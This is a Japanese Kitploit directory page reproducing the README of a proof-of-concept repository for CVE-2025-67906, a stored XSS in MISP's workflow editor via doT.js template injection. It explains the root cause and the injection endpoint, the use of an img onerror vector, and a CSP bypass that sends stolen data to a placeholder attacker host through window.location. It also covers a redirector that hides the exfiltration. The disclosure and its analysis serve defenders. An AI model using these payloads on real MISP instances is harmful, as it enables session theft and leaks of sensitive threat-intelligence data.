Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-67906 — MISP <= 2.5.27 - ワークフローエンジンを介した保存型クロスサイトスクリプティング (doT.js テンプレートインジェクション). | Kitploit
ツール/GitHubGitHub/franckferman/cve-2025-67906
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出情報収集WAFバイパスペネトレーションテストレッドチーミング
GitHubfranckferman/cve-2025-67906

CVE-2025-67906

MISP <= 2.5.27 - ワークフローエンジンを介した保存型クロスサイトスクリプティング (doT.js テンプレートインジェクション).

リポジトリを見る
2196ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE Score GCVE CWE License Python No deps

CVE-2025-67906

MISP <= 2.5.27 - ワークフローエンジンによるStored Cross-Site Scripting (doT.jsテンプレートインジェクション)

発見者: Franck FERMAN

概要 - 根本原因 - 攻撃チェーン - 構造 - 使用方法 - 修復 - 参照


脆弱性の概要

CVE-2025-67906 (GCVE-1-2025-0031) は、MISP (Malware Information Sharing Platform) バージョン 2.5.27 以下におけるStored Cross-Site Scripting (XSS) 脆弱性です。

脆弱性は app/View/Elements/Workflows/executionPath.ctp、ワークフロー実行パス表示コンポーネントに存在します。ワークフロー・トリガーの name フィールドは、サーバーサイドでのサニタイズなしにデータベースに永続化され、その後 doT.js テンプレートエンジンによってHTMLエスケープなしでDOMにレンダリングされます。認証された攻撃者は、任意のHTML/JavaScriptを注入でき、それは脆弱性のあるワークフローを表示するユーザーのブラウザセッションで実行されます。

ペイロードはデータベースに保存され、ページが読み込まれるたびにレンダリングされるため、XSSは 永続的 です。ページのリフレッシュ後も持続し、複数のユーザーに影響し、ワークフローが明示的に削除されるまで持続します。

発見: 本脆弱性は、Franck FERMAN によって特定され、責任を持って開示されました。


CVSSスコア

本脆弱性には複数のCVSS評価が存在します。

ソーススコア深刻度ベクター
NIST NVD9.0CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
GCVE (CIRCL)7.1HighCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H
CNA (MITRE)5.4MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

スコアの乖離は、影響の深さに対する評価の違いを反映しています。NIST NVDスコア (9.0) は、XSSペイロードが被害者のセッション権限で実行されるため、完全な機密性、完全性、可用性への影響を考慮しており、管理者レベルのデータ漏洩やワークフロー操作を可能にします。CNAスコア (5.4) は、一般的なXSSとして限定されたC/I影響のみを考慮しています。GCVE CVSS 4.0スコア (7.1) は、攻撃要件(権限)と能動的なユーザー操作の修正子を導入しています。

スコープはすべての評価で Changed です。これは、攻撃者のペイロード(MISP APIを介して注入される)が異なるセキュリティコンテキスト(被害者のブラウザセッション)で実行されるためです。


根本原因分析

インジェクションベクター

MISPのワークフローエンジンは、認証されたユーザーがREST APIを介してワークフローの作成・編集を可能にします。ワークフローデータモデルには、name フィールドを持つ trigger コンポーネントが含まれています。このフィールドは:

  1. APIによって 入力検証やHTMLエンティティエンコードなしで受け入れられます。
  2. データベースに 生のテキストとして永続化されます(サーバーサイドのサニタイズなし)。
  3. ブラウザで doT.js JavaScriptテンプレートエンジンによってレンダリングされます。

なぜdoT.jsが脆弱なのか

doT.jsは高速なJavaScriptテンプレートエンジンです。補間には {{= }} を使用しますが、これはデフォルトでHTMLをエスケープしません。MISPワークフローエディタはdoT.jsを使用して、トリガーメタデータ(name フィールドを含む)をDOMにレンダリングします。name フィールドに `` のようなHTMLが含まれていると、テンプレートエンジンはそれを生のHTMLとして挿入し、ブラウザが埋め込まれたJavaScriptを実行します。

修正には以下が必要です:

  • doT.jsのエンコード済み出力構文 {{! }}(HTMLエスケープを行う)への切り替え
  • データベース挿入前のサーバーサイドでのサニタイズ
  • 両方(多層防御)

インジェクションポイント

POST /workflows/edit/{id}

{
  "Workflow": {
    "id": "1",
    "data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
  }
}

data JSONフィールド内の name 値がインジェクションポイントです。ワークフローグラフ全体は、リクエストボディ内のJSON文字列としてシリアル化されます。

レンダリングコンテキスト: クライアントサイドのグラフィカルエンジン

この脆弱性は、クライアントサイドのテンプレートエンジン (doT.js) を使用してビジュアルなワークフローエディタをレンダリングするというアーキテクチャ上の選択によって増幅されます。ワークフローエディタはグラフィカルなドラッグ&ドロップインターフェースであり、各トリガー/アクションはビジュアルブロックとして表示されます。トリガーの name フィールドは、これらのグラフィカルブロック内のラベルとしてレンダリングされます。

doT.jsは、テンプレートからHTML文字列を生成し、DOMに挿入することでビジュアルコンポーネントを構築します。{{= }} 補間構文は エスケープされていない出力 を生成します。テンプレートに補間されるデータはすべて、テキストではなくマークアップとして扱われます。同じ name フィールドが element.textContent(入力がプレーンテキストとして扱われる)またはdoT.jsのエンコード出力構文 {{! }} を介してレンダリングされた場合、入力内容に関係なくXSSは発生しません。

攻撃面が存在するのは、まさに以下の理由によるものです:

  1. グラフィカルエディタ にはリッチなHTMLレンダリング(スタイル付きブロック、アイコン、レイアウト)が必要。
  2. 選択されたテンプレートエンジン (doT.js) は、パフォーマンスのためにデフォルトで エスケープされていない出力 ({{= }}) を使用する。
  3. ユーザー提供のメタデータ(トリガー名)が、サニタイズなしでこれらのテンプレートに流れ込む。
  4. 結果として、name フィールドに保存された任意の文字列がブラウザによってHTMLとして解釈される。

これは、クライアントサイドのテンプレートエンジンを使用してインタラクティブなビジュアルインターフェースを構築するWebアプリケーションでよく見られる脆弱性パターンです。リッチなレンダリングの必要性が、テンプレートとそのデータソースとの間に暗黙の信頼関係を生み出し、テンプレートに到達するサニタイズされていないユーザー入力がすべて実行可能なコードになります。

なぜ `` であり <script> ではないのか

テンプレート補間を介して注入された生の <script> タグは、通常このコンテキストでは実行されません。ブラウザは、最初のページ解析後にDOMに挿入された(innerHTML または同等の方法で)<script> 要素を実行しません。onerror、onload、onmouseover などのイベントハンドラ属性は、要素がどのように挿入されたかに関係なく、ブラウザが要素の属性を処理する際にインラインJavaScriptを起動するため、この制限を回避します。

<img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> ベクターが好まれる理由:

  • src="x" は即座に読み込み失敗を保証し、ユーザー操作なしで onerror をトリガーする。
  • すべてのブラウザで動作し、要素が見える必要はない。
  • インライン <script> タグをブロックするCSP script-src 制限をバイパスする。実行は非スクリプト要素上のイベントハンドラを介して行われるため。

ナビゲーションによるCSPバイパス(データ漏洩)

MISPインスタンスは通常、connect-src を制限するContent Security Policyヘッダーを配備し、fetch() や XMLHttpRequest の外部オリジンへの呼び出しを防ぎます。このPoCの漏洩ペイロードは、API呼び出しの代わりに window.location(ナビゲーション)を使用することでCSPをバイパスします。

// CSP connect-srcでブロックされる:
fetch('http://attacker/exfil?data=' + stolen_data);  // CSP違反

// ブロックされない - ナビゲーションはCSPの対象外:
window.location = 'http://attacker/exfil?data=' + stolen_data;  // 動作する

CSPには、ページがナビゲートできる場所を制御するディレクティブはありません。navigate-to ディレクティブはCSP Level 3で提案されましたが、どのブラウザにも実装されず、事実上放棄されています。これにより、window.location は、CSPポリシーに関係なく、XSSコンテキストからのデータ漏洩に対する信頼性の高いCSPバイパスとなります。

トレードオフとして、ナビゲーションは被害者に見える(ページが変わる)ことです。server/redirector.py は、即座にHTTP 302リダイレクトをMISPインスタンスに発行することでこれを軽減し、短い視覚的なフラッシュのみを生成します。被害者の視点からは、ページがリロードされたように見えます。

漏洩データフロー:

被害者ブラウザ                 攻撃者 (redirector.py)           MISP
      |                                 |                           |
      |-- GET /exfil?data=<盗難データ> -->|                           |
      |                                 | [データをキャプチャ、表示]|
      |<-- 302 Location: misp.url ------|                           |
      |                                 |                           |
      |-- GET /workflows/view/1 ---------------------------------------->|
      |<-- 通常のMISPページ ---------------------------------------------|

全ラウンドトリップは約100〜200msかかります。被害者にはせいぜいページのフラッシュが見えるだけです。

Stored XSSの現実世界における影響

セキュリティ評価における一般的な誤解は、XSS脆弱性の実際の影響は限定的である(「単なるアラートボックス」)というものです。実際のレッドチーム演習では、Stored XSS、特にこのようなクリック不要で永続的なものは、攻撃者が被害者に何もクリックさせる必要がないため、高価値の発見となります。ペイロードはページがレンダリングされると自動的に発動します。

Stored XSSが実際に可能にすること:

  • セッションハイジャック: Cookieが HttpOnly とマークされていない場合、攻撃者は管理者セッションCookieを盗み、アカウントを乗っ取ります。HttpOnly であっても、DOMやAPIレスポンスで公開されるセッショントークンを抽出できます。
  • ページコンテンツの完全漏洩: 被害者に見えるものはすべて攻撃者にも見えます。ユーザーリスト、イベント詳細、管理ページに表示されるAPIキー、組織データなど、document.body.innerHTML や対象を絞ったDOMクエリで読み取り可能です。
  • 認証情報の収穫: 偽のログインフォームやセッションタイムアウトのオーバーレイを注入します。被害者は攻撃者が制御するHTMLにパスワードを再入力します。
  • ラテラルムーブメント: 侵害された管理者セッションから、新しいAPIキーを作成し、共有グループを変更し、接続されたMISPインスタンスに悪意のあるイベントをプッシュします。
  • 永続性: ペイロードはページリロード後も存続し、ワークフローにアクセスするすべてのユーザーに影響します。明示的に削除されるまで持続します。

CSPが発信リクエスト(connect-src、script-src)を制限する場合、漏洩ベクターは適応します。このPoCで示されている window.location ナビゲーションバイパスがその例です。CSPはハードルを上げますが、リスクを排除するわけではありません。HttpOnly がCookieの盗難を防ぐ場合、攻撃者は認証されたセッションで直接見えるデータのDOMベースの漏洩に軸足を移します。

ペンテスト/レッドチームのコンテキストでは、MISPのようなプラットフォーム(脅威インテリジェンス、IOC、組織データを集約する)でのStored XSSは特に重要です。管理者セッションを通じてアクセス可能なデータ自体が高い機密性を持ちます。インジケータ・オブ・コンプロマイズ、内部調査の詳細、共有グループのメンバーシップ、組織間の信頼関係などです。


攻撃チェーン

ツールをダウンロード